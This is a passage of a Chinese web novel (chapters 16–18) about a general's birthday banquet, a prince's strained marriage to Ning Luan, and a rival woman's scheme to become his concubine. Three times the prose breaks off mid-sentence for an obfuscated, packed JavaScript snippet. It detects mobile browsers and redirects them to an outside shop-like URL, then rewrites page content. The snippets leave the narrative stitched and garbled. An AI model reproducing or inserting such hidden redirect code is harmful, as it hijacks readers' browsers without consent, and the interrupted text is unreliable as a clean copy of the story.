宁鸾接过话头,荡漾的眼波清澈明净,“你总是这样一板一眼。”
程慎之心中泛起一抹苦涩,这确是他当年亲口所言,辩无再辩。
他几度欲言,最终抚上胸口,指尖触及贴身佩戴的寒髓玉佩,缓声道:“有没有可能……我们将那些话,都忘掉?”
宁鸾眉眼轻挑,坦然迎上他的目光,从容应道:
“镇南王说过哪些话,我早已不记得了。我只知,安南王现被圣上拆分两脉,镇南王现下所背负的,只会比过往更加沉重,还请您慎言罢。”
微风吹过,树叶摩擦发出沙沙的声响。不远处隐隐传来丝竹管弦之声,更显得这一方亭中落针可闻。
“阿鸾,我……”
“王爷!”
程慎之话音未落,忽见本应在亭外廊中守着的幕僚张回,脚步急促走入亭中。
“禀王爷,大将军时厉东派人传话来请,想与王爷进书房单独一叙。”张回俯身行礼,将侍从传来的话如实转达。
“慎之。”宁鸾扬起明媚的笑脸,“我们之间的事之后再说,今日既在将军府作客,自是以大将军为敬。”
“阿鸾,等我回来,我们好好谈谈。”
“别让大将军久等了。”宁鸾笑靥如花,轻轻对他扬手。
程慎之无奈起身,深深看了一眼宁鸾,随张回一同离开小亭。
宁鸾在亭中坐了许久,她无意识地摩挲杯沿,想着程慎之未尽的话语。杯中茶水逐渐凉透,宁鸾将茶盏放在石桌上,发出清脆的碰撞声。
她起身走向亭外等候的青露,两人皆是不语,一同在将军府中游逛。穿过狭长的游廊,沿着蜿蜒的小路缓步前行。假山精心堆成月牙形拱门的形状,前面便是将军府的后花园。
“小姐,您快瞧,那好似有一人在那!”
青露压低声音,举着手帕指向后花园。
宁鸾顺着她的视线看去,只见眼前一片生机盎然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576075|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
花园四周遍植翠竹梧桐,南面一角寒潭半绕,其间流水潺潺,藻荇交错,竟是引进的一汪活水。与水潭对角的,则是一片略显突兀的假山巨石堆,各种石料错落排布,圈出一片空地来,里面砂石铺地,正是习武练剑的好地方。
而花园正中,生长着一棵巨大的蓝花楹树。灰褐色的树干高耸入云,树顶绿叶穿插间,大片蓝紫色花朵在阳光下层层叠叠,如梦似幻,像是一片紫色祥云笼罩在花园上空。
树下,一位公子手扶树干,微微仰头,望向这一蓬随风跳动的蓝色火焰。
宁鸾定神一看,那人竟是今日宴席的主角时鸿。
“竟然躲在这。”宁鸾低声嘀咕,正欲转身避嫌。正巧那时鸿若有所感,转过身来,与宁鸾对视了个正着。
这下离开似乎更显尴尬,宁鸾索性走上前去,隔着距离盈盈拜礼,称颂道:
“还未贺时将军生辰之喜,时将军出身将门,韬略在胸,天佑英才,定能建功立业,鹏程万里。”
时鸿看清宁鸾的脸庞,怔愣一瞬,家风和教养让他迅速回过神来,赶忙还上一礼,两人在树下站定。
今日的时鸿特意装扮过,外穿暗红蝙蝠纹长锦袍,通身质感流畅,其间一条金镶白玉腰带,一眼便知价值不菲。
倒是比平日不修边幅的模样,多了几分世家公子的矜贵来。
“时将军是今日寿星,怎会独自一人在此徘徊?”眼见气氛凝固,宁鸾笑着打破宁静。她缓步走上前去,伸手抚摸蓝花楹粗糙的树干,又微偏头看向时鸿的脸。
“不怕王妃笑话,前厅宾客众多,我应付吃力,在这儿来偷个清闲,也想……等待一人。不想遇见了王妃。”时鸿后退一步,喉结上下滚动:
“上次之事是在下眼拙,竟将王妃错认他人,多……多有冒犯,还请王妃多多包涵。”
时鸿憋得耳根通红,他一边说着,他猛然抱拳。
“等待一人?”宁鸾不想听他一直道歉,玩笑道,“时将军这是有了心上人?”
“不不不不是!”那时鸿更是羞红了脸,重重俯身,恨不得将身体跟这树根一道埋进土中,“他是男子……是那望春楼的贵客,我不知他是否会来。”
时鸿满脸沮丧,今日已到的宾客名单他细细读过,并无像是林公子之人。
宁鸾正欲开口,没想到异变横生。
时鸿意外遇见宁鸾,仍觉她的身姿似乎与心中的神秘身影合二为一,心中本就紧张心虚。
今日,他又难得穿了一身长袍锦带的礼制正装,起身时一个没注意,前摆被自身踩个正着,顿时失了平衡,整个人向前扑去!
“小……小姐!”青露站得稍远,眼见此情此景,捂嘴惊呼。
宁鸾亦是被他一惊,侧身避开的同时,指尖扣紧了袖中银针。
只见那时鸿缓住身形,双手死死抵住深褐色的树干表层,双腿蹬地,面目狰狞,总算勉强稳住。
“时小将军血气方刚,这未免有些太冒犯了。”宁鸾站在一旁冷言道。
“抱、抱歉!”时鸿松了口气,手上却突然一滑失了力道,欲哭无泪的大脸,结结实实撞上粗糙的树皮,惊起树上一片鸦雀。
“痛……”
“阿鸾?”
程慎之掺着冰碴的声音,恰在此时从后花园入口处传来。
16. 生辰赴宴
“镇镇镇……镇南王爷!”
时鸿慌忙后退转身,额角浸出细密的汗珠。他偷抬眼瞥见程慎之不悦的面色,瞬间只觉如坠冰窖。
完了完了完了!
怎么每次不小心冒犯到王妃,都恰巧被镇南王抓个正着啊?!
“你们,这是在做什么?”
程慎之话音未落,已大步流星走到几人身边。广袖翻飞间,他隔着袖子扣住宁鸾纤细的手腕,微一用力将她拉到身前。
“不过是与今日的寿星赏花罢了。”宁鸾感受到腕间传来的力度,从容抬眸迎上程慎之的目光。
看见他眼底的暗涌,宁鸾了然。
泥人尚有三分火气,更何况战场归来杀伐决断的程慎之。
“是是是,正是如此。”时鸿见宁鸾解围,顿时如蒙大赦。他擦了一把额上滴落的汗珠,忙拱手解释道:
“末将与王妃巧遇,被这蓝花楹迷了眼,一时不慎冒犯王妃,此外绝无他意……”
程慎之冷哼一声,锋利目光如刀一般划向时鸿,又看向那生机盎然的蓝花楹。
“小将军自重。”他冷漠说完,攥着宁鸾手腕转身离去。
待出了后花园,转过回廊,宁鸾轻轻一动,便挣开钳制。
“何苦吓他呢,其实你早将前因后果看清了吧。”她揉着微微泛红的手腕,忽然轻笑出声。
从怀里取出绢帕,宁鸾慢条斯理地擦着手,缓缓道:“这下,他怕是整场宴席都坐立不安了。”
“你喜欢那种不着调的蠢笨小子?”程慎之猛然转身,腰间玉佩撞上腰带发出清脆声响。
他漆黑的眸子直看向宁鸾眼底,里面像是燃着炙热的火焰,要将人活活烧穿。
宁鸾擦着指尖,闻言笑意微敛。“我看向谁,我喜欢谁……似乎都与王爷无关。”
“若是王爷已经迫不及待想休掉我,迎娶白姑娘进门,也不妨再等些时日。”
“毕竟她身为异族,身份敏感。”宁鸾将手帕递给身后跟着的青露,“若是当下大张旗鼓操办,恐怕会……”
“我不会娶她。”程慎之出言打断,字字掷地有声。
他仰头深吸一口气,又看着宁鸾平缓开口,“阿鸾,你不必在意她,她的事,我另有安排。”
宁鸾挑眉看向程慎之,倒是多了几分意外。
她并非不知坊间流言,那些话沸沸扬扬,传得像模像样,连望春楼都收集到程慎之对白挽有意的情报,她也下意识作此推断。
毕竟除了他们还没闹僵之时,她还从未见过程慎之对谁如此上心。更别说除去异族身份,白挽似乎处处都符合程慎之的期许。
远处传来开宴席的锣鼓声,宾客们陆陆续续进入正厅。
“走吧。”程慎之嘴唇绷成直线,犹豫着向宁鸾伸出掌心,“该入席了。”
宁鸾垂眸看向那只骨节分明的手,心中了然。
外界传言纷纷,场面上的功夫却不得不做。此刻亡羊补牢,正是营造恩爱形象的好时机。
她抬手,轻轻搭进程慎之的掌心。那掌心像是燃着碳火般炽热,惊得她指尖下意识一颤。
程慎之却已不由分说地收拢掌心,将她微凉的指尖牢牢裹住。
他从未如此感激将军府的广阔,连这曲折的回廊也仿佛没了尽头,让他可以名正言顺地牵着她,一路走下去。
可惜,将军府占地再广,也终是一座府邸。程慎之走得再慢,也终究到了席前。
两人按照排序入座,紧握的手也随之松开。
程慎之眼眸微垂,看向空空如也的手心。那掌中还残留着她指尖的温度,袖口似乎也萦绕着一缕清冷的竹香。
不过被浓烈的酒菜香气一熏,不过多时也便散尽了。
……
宁鸾端坐席间,指尖轻抚杯沿,不动声色打量着满座宾客。
转眼已是三年。
自从程慎之披甲出征,她便以此为由,谢绝了所有的宴请往来。如今再见这推杯换盏,竟是有恍如隔世之感。
当年簪花玩闹的贵女们,如今或嫁做人妇,或在她几番起落后,早就形同陌路了。
她也早不似当年。
从天真明媚,到满心筹谋,仿佛就在一瞬之间。
烈酒入喉,灼烧伴着辛辣钻入喉咙,一路燃起烈火蔓延至五脏六腑。如此烈酒,却压不住她心底翻滚的恨意。
幸亏今日的宴席,丞相府并未派人前来。否则,她怕旧景重现,她会忍不住做出冲动之事。
这燃烧的恨意烤干她的泪水,锻造出锋利的宝剑,伺机刺向她最恨的人。
程慎之见她脸色不佳,也执壶自斟,满饮一杯,“大将军时厉东喜好美酒,尤其是边境烈酒。”他把玩手中空杯,似是自言自语。
“凡是家中设宴,必掺高粱精酿,浓烈无比,整个京州只此一家。”
随即,他吩咐了小厮,抬手为宁鸾推去杯蜜糖水。
“酿酒过程中似乎还掺了小麦和糯米,你平日喝酒甚少,若不习惯,也可加些蜜糖解酒。”
宁鸾正是沉浸在往事之中,满心苦涩。
她接过那蜜糖水,顺势啜饮一口,温和细腻的桂花蜜水冲淡了喉中的炽热,缓和了她翻滚不止的思绪。
打起精神来,宁鸾终于露出一个笑意。“多谢你。”
这些年她暗中经营望春楼,培植势力,勉强算是在京州有了立足之地。
待他日时机成熟,这桩御赐婚事也可好聚好散,与丞相府做个了断,便可彻底斩断这些年的恩怨纠葛……
宁鸾微一挑眉,扭头看向盯着她的程慎之。
程慎之慌乱一瞬,撇开视线。
他不知宁鸾为何突然情绪不佳,但见她眼中冰雪消融,竟也跟着长出口气。
宴席开场,大将军时厉东带着时鸿步入正厅。
厅中宾客皆是锦缎戎装,按品分列两侧就坐。席间更是觥筹交错,推杯换盏,武将文臣谈笑自若。
众人往来间,忽闻丝竹之声铿锵,循声望去,只见帷幕中八名乐师手持各色乐器,激扬奏起《将军令》。
随着鼓点节奏,十余名精壮男儿鱼贯而入,他们身穿玄色短打劲装,下着铁靴踏地,随歌而舞,势若惊雷。
程慎之与宁鸾坐在席间,侍从侍女随侍身后。
宁鸾见多了柔美舞姿,还并未见过这般阳刚壮阔的舞蹈,一时间看得入神。
一旁的程慎之心不在焉,他见宁鸾兴致勃勃,甚至放杯停箸,手撑脸颊,细细打量着领舞之人,只恨恨咬碎一口钢牙。匆忙应付完敬酒之人,他状若无意喊道:
“阿鸾。”
“嗯?”宁鸾并未看他,用鼻音发出疑问。
“没什么。”程慎之脑中飞转,迅速思索。“你想不想知道,时大将军方才请我去书房,所为何事?”
这下宁鸾起了兴致,对于未知的情报,她一向很感兴趣。
虽然就算程慎之今日不讲,明日一早,将军府书房内的谈话内容,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576076|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也会齐整放在望春楼案几上。
若是事关重大,更会有密报当晚传至镇南王府。
但程慎之的主动告知,终究是不一样的。
“大将军与你说了什么?”宁鸾扭头与程慎之对视。
她刚抿过几口烈酒,热气熏得脸颊微红,一双小鹿般的圆眼清澈透亮,里面像是藏了满捧星光。
程慎之面色沉稳,拿杯的手却微动,眼前的宁鸾,让他想起那些年的懵懂情怀。
那是年少的一见倾心,是黑暗中的惊鸿一瞥,是风雪日夜里,尚书房苦读的期许等待,是阴差阳错得知秘密……换来的辜负真心。
如今的宁鸾,早已不是当初的童真稚子。
这次回京后,宁鸾内外更加端庄沉静,三言两句便可将偌大府邸打理得井井有条。
但掩藏在贤良淑德之下的,是程慎之都看不透的运筹帷幄。
那些岁月的天真烂漫,终究是被痛苦磨平了棱角。
他无法抚慰过去她的伤痛,只能看着他最珍爱的金色蝴蝶,随风渐行渐远,青云直上。
“大将军说……”程慎之微微侧身,声音压得极低,温热的吐息拂过宁鸾耳畔。
“说圣上如今极其宠爱曜妃,就是那日宫宴中,异族奉上的那名金发女子,沙蔓·阿尔达。”
他一边说着,一边以指腹沾酒,在桌案上写下一个“曜”字。
“圣上已连续三日未曾上朝,对外称病休息调养。可实际上,六宫粉黛无颜色,日日醉卧温柔乡。”
见宁鸾脸上难得露出微妙的表情,程慎之继续说,“昨日,大将军忧心圣体康建,持金牌特令进宫探望。”他抬眼搜过四周,声音又低沉几分:
“不想,见到圣上半醉卧于御花园凉亭中,旁边曜妃一身异族打扮,正为圣上指尖涂抹蔻丹。”
“蔻丹?!”
宁鸾自知声音过大,忙掏出手帕捂唇。她学着程慎之打量过四周,压低声音问:“你说的是……女子染甲所用的蔻丹?”
“正是。”
程慎之正色道:“据说,圣上对此引以为荣,请大将军上前几步,品鉴指甲色泽。时大将军一介武夫,自是不懂这些,胡乱答了几句便被圣上请出宫了。”
坐在座位上,宁鸾扭头看向青露甲上新染的玫瑰色蔻丹,心情无比复杂。
青露见小姐看她,侧头眨眼微笑:“嗯??”
宁鸾:……
回忆起年过五旬的圣上那略显苍老的脸庞,宁鸾自知见识还是浅薄了些。
“所以说,大将军是找你商议此事?”宁鸾收回思绪,垂眸思考正事,“你和时鸿小将军同为征战异族的将领,彼此应当更能领会对异族的仇视之情。”
“并非如此。”程慎之提壶,为宁鸾满上蜜糖水,微微摇头道:
“时厉东将时鸿保护得太好,时鸿并不知此事。近来圣上无心朝政,宫中无朝可上,臣子非诏不得进宫。大将军一则想让我以亲王身份进宫探视,探查那曜妃的底细。二则……”
“镇……镇南王爷!时鸿敬您一杯!”
时鸿在他爹时厉东的眼刀下,像个鸡崽子似的被赶过来,弯腰埋头对程慎之敬酒,举杯的手疯狂发抖。
天知道他有多害怕!
镇南王回京还没两月,已经得罪他和他的王妃好几次了!
若不是他爹耳提面命,一定要他和镇南王攀扯关系,他看着程慎之都想绕道走。
这个杀神实在是太可怕了!
17. 蜜糖砒霜
并没有让时鸿难堪,程慎之和宁鸾起身,一同回敬他。几轮场面话过后,时鸿抬手,猛擦一把额上汗珠,整个人这才放松了些。
时鸿看着宁鸾温柔的面容,不知怎的,恍惚间又想起望春楼气质出尘的林公子,只观二人举手投足间,神韵竟有着几分相似。
思及林公子,时鸿只觉眼前的宁鸾倍感亲切,竟话多攀谈起来。
“方才多有失礼,还未恭贺王妃大喜。”
宁鸾倒是有些意外,不知喜从何来,轻微诧异问:“将军何出此言呢?”
时鸿爽朗一笑:“上旬的朝会上,宁丞相向圣上讨要了恩典,亲自晋封容夫人为一品诰命夫人,可不是大喜!”
宁鸾嘴角的笑意凝固了一瞬,她以绢扇掩面,轻描淡写道:“正是呢,将军消息灵通,我竟疏忽了这事。”
“我见那丞相府门庭若市,不知容夫人近来身体可好?”时鸿憨笑。
宁鸾声音如常,只道:“家母近日受些风寒,患上喉疾还未痊愈,不便见客,都是家父应酬着。”
“既是如此,本还想前往丞相府一贺,现下看来倒是不便了。不过……”
时鸿猛一拍头,激动地说:
“这不是巧了!丞相府定是不缺灵药,可将军府自酿的桂花蜜糖堪称一绝,可用来润喉最好不过,明日我就挑些好的给丞相府送去。”
宁鸾眸光微动,看向案几上琥珀色的蜜糖水,诧异问:
“桂花蜜糖?可是席上喝的这种?”
时鸿伸头一看,连称正是。
“这蜜糖水正是桂花蜜糖所泡。这桂花蜜采自将军府的桂花林。采来蜂蜜后,再佐以梨膏、桃片等物,按秘制比例瓮制半年,兑水饮用最佳。”
时鸿兴致勃勃,侃侃而谈。宁鸾不由拿起案上糖水,细细品味,果然感受出其中的不同滋味来。
若是能将此物引进望春楼,往后特色佳肴中,也就又能多上一样了。只是不知,将军府肯不肯与望春楼做成这笔买卖。
“我正爱喝甜的,慎之说这蜜糖水不错,不想竟是将军府特制。”宁鸾端起恰到好处的端庄笑意。
“若王妃不嫌弃,稍后我送几罐去镇南王府便是,也好以此物向王妃聊表歉意。”时鸿朗声一笑,甚是豪爽。
“那便多谢将军美意了。”
程慎之静坐一旁,默然看着二人交谈。方才宁鸾对这小子语焉不详的态度,已让他心下不爽。此刻见二人相谈甚欢,胸中更觉烦闷。
偏偏此刻,他什么也不能说。
程慎之执起酒盏,闷头连饮数杯。案几上,酒壶不知何时已然见底。
“再拿壶酒来。”程慎之唤来小厮,又送来一壶烈酒。
宁鸾见程慎之赌气似的,一杯连着一杯,一时摸不着头脑。她拉了拉程慎之的袖口,轻声问:“怎么了?”
程慎之低眸看向杯中晃动的酒液,只淡淡道:“无事。”
宁鸾也不想多问,只当是他喜爱这烈酒,想起边塞征战的时光。
总不能是因为多与时鸿说了几句话吧?
宁鸾抿了口蜜糖水,香气扑鼻,甜香细腻,确实不错。
……
酒过三巡,二人乘马车回府时已是深夜。
宁鸾回房沐浴更衣,程慎之径直去了书房,只说公务尚未处理完。管家闻着他身上的酒气,忙不迭去取早已备下的醒酒汤。
宁鸾虽喝酒不多,见后厨备下的是青梅橙子熬煮的甜汤,便也要了一碗。
程慎之独坐在书房,面前是父亲安南王传来的回信。
信中之言不过寥寥几句,除知程慎之打算以外,还在信尾特意提到,他的二哥又喜添麟儿,其长子世孙已八岁有余,如今慎之已是弱冠之年,却膝下无福。
安南王言语平缓,旁敲侧击询问他,是否纳妾以备生育。
抚摸着信纸,程慎之陷入沉思当中。
安南王世子有三,长子披甲出征,奔赴前线,已战死沙场数载。次子爱好风雅,醉心琴棋书画,对打仗领兵一事一窍不通,早早娶妻纳妾,做了个富贵闲人。
唯有他程慎之,自幼习武射箭,苦读诗书,三年前便统帅三军,连拿异族七城,生生被皇帝封了镇南王,将他择出了安南王府。
上次一封家书,程慎之字字恳切,表达虽受皇恩浩荡,却血浓于水,一心向着安南王府。而今日这封回信,安南王爷字里行间,也都是对程慎之的殷切期盼,暗藏血脉相连,父子情分依旧。
那么……
“哐哐哐。”书房的门被轻轻叩响,在安静的夜晚显得格外突兀。
“进来吧。”
……
“青露,明日将军府若送桂花蜜糖来,你找时间带一罐去那边。青霜或许也会喜欢。”
宁鸾洗浴完,穿了身样式简单的宫制长裙,乌云般湿润的青丝被柔软的丝缎裹着。
“是,小姐。我记下了。”青露忙不迭点头。
宁鸾坐在妆台前,青露接了绸缎为她擦拭头发。透过镜子,宁鸾见青露心不在焉,时不时看向窗外。
“怎么了?”宁鸾拨弄着一支雀穿莲花金簪。
“方才您沐浴的时候,白挽姑娘又来过了。”青露低声回话。
“哦?我只当她忘了,没想到还惦记着。”
“是啊,上次白姑娘来找过小姐,小姐不在,便没了后话。没想到过了这么几天,白姑娘又来找小姐,不知是为了何事。”
话音未落,房内响起了敲门声。
“这么晚了……”青露低声嘟囔着,一边用问询的眼光看向自家小姐。
宁鸾将手中金簪放回妆匣,抚了一把半干的长发,站起身来:“去开门吧,别让人家久等了。”
青露答了一声。门外,白挽一身月白素袍站在廊下,手中提着精致食盒。
夜风沁凉,吹起她的裙摆,皎洁的月色衬得她脸色愈发苍白。
“王妃。”白挽在门口微微福身。“奴家听闻王爷王妃回府,又喝了些酒,自作主张做了一点养胃的点心,还请王妃笑纳。”
她巴掌大的脸上扯出一丝笑意,神情柔弱地看向屋内的宁鸾。“听闻王爷素喜南部美食,奴家只想着解酒用此物最好不过。”
宁鸾的目光落在她发红的指尖上,心中叹了一口气。
“外面风大,进来说吧。”
……
“王爷,醒酒汤和点心,奴才给您放这了。”书房内灯火摇曳,管家王叔漏夜前来,
程慎之低头看加急送来的战报,朱笔轻勾,并未搭话。
王叔有些踌躇,顿了一顿又道:“这点心是白姑娘亲手所做。今日晚膳过后,白姑娘便借了后厨,前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576077|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前后后忙碌大半天,连厨娘都不许帮忙。”
程慎之掀起眼皮,目光扫过食盒中精致的枸杞酥酪方糕,随口问:“验过了?”
王叔低头禀报,额上沁出细汗:“验过了,糕点中并无问题,只是这食材……”
“哦?”程慎之这才抬头,看向王叔。“食材有何特别之处?”
王叔将头埋得更低,“白姑娘走后,奴才差人问过所用食材,发现皆是……皆是……”
程慎之挑眉,声音中听不出情绪:“皆是什么?”
王叔咬牙:“皆是滋补壮阳之物。”
程慎之:“……”
“端下去处理了吧。”
……
“拿过来吧。”宁鸾自如落座。
青露上前接过白挽手中的食盒,在圆桌上将东西铺展开来。
白挽与宁鸾相对而坐,桌上一盏精致的鎏金琉璃花彩珐琅宫灯亮得晃眼,其下摆放着白挽带来的枸杞酥酪方糕和梅子甜汤,瞧着倒颇为精致可口。
宁鸾执起小勺,漫不经心地拨弄着碗中汤羹,灯光映在她精致的侧脸上,勾勒出分明的轮廓。
“这些日子在府中,白姑娘住得还惯吗?”
白挽闻言神色踌躇,显出几分拘谨和无措来,“多谢姐姐关怀,在府中……一切都好。”
过了半晌,她又唯唯诺诺添了一句,“只是以前未曾来过京州,心中难免有些惶恐。”
白挽偷偷抬眼,见宁鸾并无动容之色,心中一慌。她咬牙露出凄苦的神情,抬眸间眼角流转泪光,羞怯说道:
“这事本不该妹妹来说,可妹妹自幼丧母,父亲又远在南部不愿进京。当初父亲救下王爷,只想我能在王府里衣食无忧。可我进王府这么多天来,宛若无根浮萍,无依无靠。”
她说到动情处,仰头深吸一口气,缓缓平复了情绪,才继续道:
“自古父母之言媒妁之命,婚姻大事向来由不得自己。可我父亲远在天边,京中也无人为我做主。”
“所以,奴家想向王妃求得恩典!”白挽突然站起,对着宁鸾跪倒在地。
“白挽一生不要名分,只求能陪在王爷身边。做个侍妾也好,为奴为婢也好,只愿有一丝机会!求王妃姐姐垂怜!”
“啪”地一下,灯罩中的烛火爆出一朵灯花,骤然将宁鸾的侧脸映得半明半暗。
白挽跪伏于地,指甲几乎将掌心掐出血痕。
宁鸾端坐桌前,居高临下地垂眸看着她,嘴角带着若有若无的笑。
“白姑娘。”宁鸾慢条斯理开口。“这件事,你应当已对慎之提过了吧?”
白挽抿紧唇,猛地抬头,眼中慌乱一闪而过。
在她看来,自己已是退让了一步。他不求名分,只愿常伴王爷左右,时日久了,总能换来几分真心。
可如今,不仅王爷未给她丝毫机会,就连素来温和贤德的王妃,竟也是这般态度。
她不愿全信慕达莎的话语,还想凭自己的方式做最后一搏,不料几番试探,换来的竟是这般狼狈。
白挽低头掩藏眼底跳动的火焰,只听宁鸾手中汤勺轻落,瓷器间乍然相触,发出轻微的脆响。
“白姑娘。”宁鸾俯身,指尖轻挑起白挽的下巴,迫她迎上自己的目光。
“你可知,这世间最愚蠢的事情是什么?”
18. 拍卖请帖
烛火跳动,白挽瞳孔微颤,不自觉地屏住了呼吸。
宁鸾忽然低笑,松手放开她,缓缓站起身。
“那便是,一个女人,如花似玉的女人,将所有的期望,所有的愿景,通通押在一个男人身上。”
宁鸾睫毛低垂,吐出的话语轻缓。
“王爷带你进府,保你衣食无忧,并不代表他就会真正怜惜你。”她转过身,看着呼吸徒然急促的白挽。
“你以为放下身段,不要名分,换来了他的垂怜我的应允,凭借着这身漂亮的皮囊,能在王府便能过上人人羡慕的生活。”
“可殊不知,你父亲救命之恩换来的情分,终究会被岁月磨平,在那之后,才是痛苦的开始。”
“姐姐……可是……”白挽几乎失了全身的气力,声音发颤着辩白,“可是在王爷心中,一定有我,他对我那么好,王妃你就一点都不在意吗?”
宁鸾轻笑一声,坐回桌前,拿起灯簪子挑拨灯芯。烛火在她眼中热烈地跳动,口中却传出平静的声音:
“白姑娘,你该在意的,是我心里……还容不容得下你。”
“青露,”宁鸾侧头唤道,“送白姑娘回房吧。”
雕花木门合拢,室内重新陷入寂静,宁鸾独自走到窗前。窗台案几的花盆下,压着一封刚刚递来的密信。
“慕达莎……”宁鸾用唇语念出这个名字,嘴角勾起温和的笑容。
……
“听够了?在门外等很久了吧。”
铜镜里映出宁鸾的身姿,她手持玉梳划过半干的青丝,顺出一捧柔顺的弧度。
“吱呀”一声,雕花木门再次开合,程慎之背光站在门外。
“你早就知晓?”他目光紧锁对镜梳妆的宁鸾,声音低哑而暗沉。
宁鸾无辜地回望他,声音一如往常,“知晓什么呢?”
执梳的手再次抬起,一下一下顺着满头的青丝。
“是知道她想成为你的侍妾,你的侧妃,还是——她的父亲因酗酒过度,突发恶疾,前些日子已暴毙在了南部偏远的小县城里?”
程慎之瞳孔微缩。
宁鸾挑眉,声音里带着几分玩味,“镇南王殿下,你不会真以为,她给你送糕点,就是为了给你解酒吧?”
程慎之沉默片刻,忽而冷笑着反问:“那你呢?”
他猛然逼近,双手撑住狭窄的妆台,高大俊美的身影压下来,似乎是要将身下人整个淹没。唇齿轻启,程慎之温热的吐息扑到她耳旁:
“今日在席间对时鸿那般热情,当真为了那几罐桂花蜜糖?”
宁鸾笑意更深,直直抬眼与他对视,神情里没有半分畏惧。她伸出手抚过他冷俊的脸颊,手上的银丝盘纹双镯碰撞出清脆的声响。
“那是自然,慎之都觉得那蜜糖不错,我岂有不要的道理。”
青葱般的指轻抚过他略有胡茬的下巴,宁鸾缓声道:“若是你还想喝,明日我再找那有趣的小将军讨些来?”
程慎之眸色更加深邃,唇边带上一丝嘲讽的笑意。他一把抬手,抓住宁鸾撩拨的手腕,不由自主地牵至唇边一吻。
仓皇转身去了书房。
一夜无话。
……
白挽在侧殿枯坐整晚,指甲抠进掌心,掐出几个泛白的月牙。
借时鸿的庆生宴,她原以为今夜本是万无一失。
宴席散后,程慎之必定带着醉意归来,酒意熏染下,那个战场上运筹帷幄的王爷,哪还会有平日里的半分清明?
她亲手备下解酒的糕点,以解酒为名,说抚慰之言。三分刻意七分真情,最是动人情肠。
待一切水到渠成,以程慎之王爷之尊,断然做不出始乱终弃的事。
届时,她白挽便可堂而皇之的入主王府,哪怕是当个侍妾,只要能在王府站稳脚跟,假以时日略施手段,当个侧妃绝非什么难事。
在那吃人不吐骨头的村中摸爬滚打多年,她什么大风大浪没见过,什么腥风血雨没闯过。
不狠,就只能被别人啃得骨头都不剩。
还好,她早已做好了狠下去的准备。
白挽眼底闪过一丝绝情,若是程慎之还要推拒,她便不得不依附于慕达莎了。
本以为宁鸾那个温吞天真的性子,收拾起来根本不在话下。
谁知道,竟是人算不如天算。
她精心制作的糕点,她反复练习的姿态,她设想好的每一步,竟全被那老管家拦了个正着!
不仅没能去书房,还让她将糕点送去给王妃!
当时见招拆招,白挽眼珠一转,顺水推舟接了差事。之前在程慎之面前碰过钉子,既然宁鸾是个好说话的,不如求了宁鸾做主。
堂堂王妃,本就该给王爷纳妾娶妻,更何况他们成婚这么多年,宁王妃都未曾给程慎之诞下一儿半女,本就失了妾妃之德。
程慎之在外征战三年有余,那是她宁鸾没福气,横竖都是肚子不争气。
白挽那时越想越得意,只觉宁鸾德行有失,不堪一击。只要到时候以“王府子嗣”为由头,再搬出王爷救命恩人女儿的身份,想来就算宁鸾万般不愿为王爷娶妻纳妾,也该识相将她迎入府中。
再者,横竖有恩情在身,程慎之必不会当众给她难堪。
到那时,她白挽便是府中堂堂正正的妻妾,甚至稍动心思,何愁等不到与宁鸾平起平坐?
白挽算盘打得飞快,仿佛已经看见自己身着嫁衣的模样。
可谁能料到,那个看似温软可欺的宁鸾,竟将她逼至如此狼狈的境地!
宁鸾盯住她的那一瞬间,白挽连呼吸都几乎停滞。
那眼神像是一匹蛰伏已久的狼,在满月之夜,紧盯着猎物,眼中发出冷然的红光。
白挽的喉咙仿佛都被扼住,连冲到嘴边的辩解,都凝滞在宁鸾摄人的威势之下。
思及至此,白挽打了个冷战。
指甲狠狠掐进掌心,疼痛让她从仇恨中回神。
她长舒一口气,缓缓起身走至窗前,夜晚的风带着几分凉意,拂在她面无表情的脸庞上。
指尖抚过镶嵌在匕首上的光滑猫眼,白挽下定了决心。
她朱唇轻启,溢出一段奇异的哨音,这正是那日慕达莎教她的传信密语。
不过多时,一只纯白的信鸽振翅而来,悄然停在窗台上,猩红如血的眼睛里,折射出诡异的光。
……
翌日,下朝时分。
程慎之刚迈出金銮殿,便被一道魁梧身影横挡在前。
程慎之眉头微皱,前几日的庆生宴上,这时
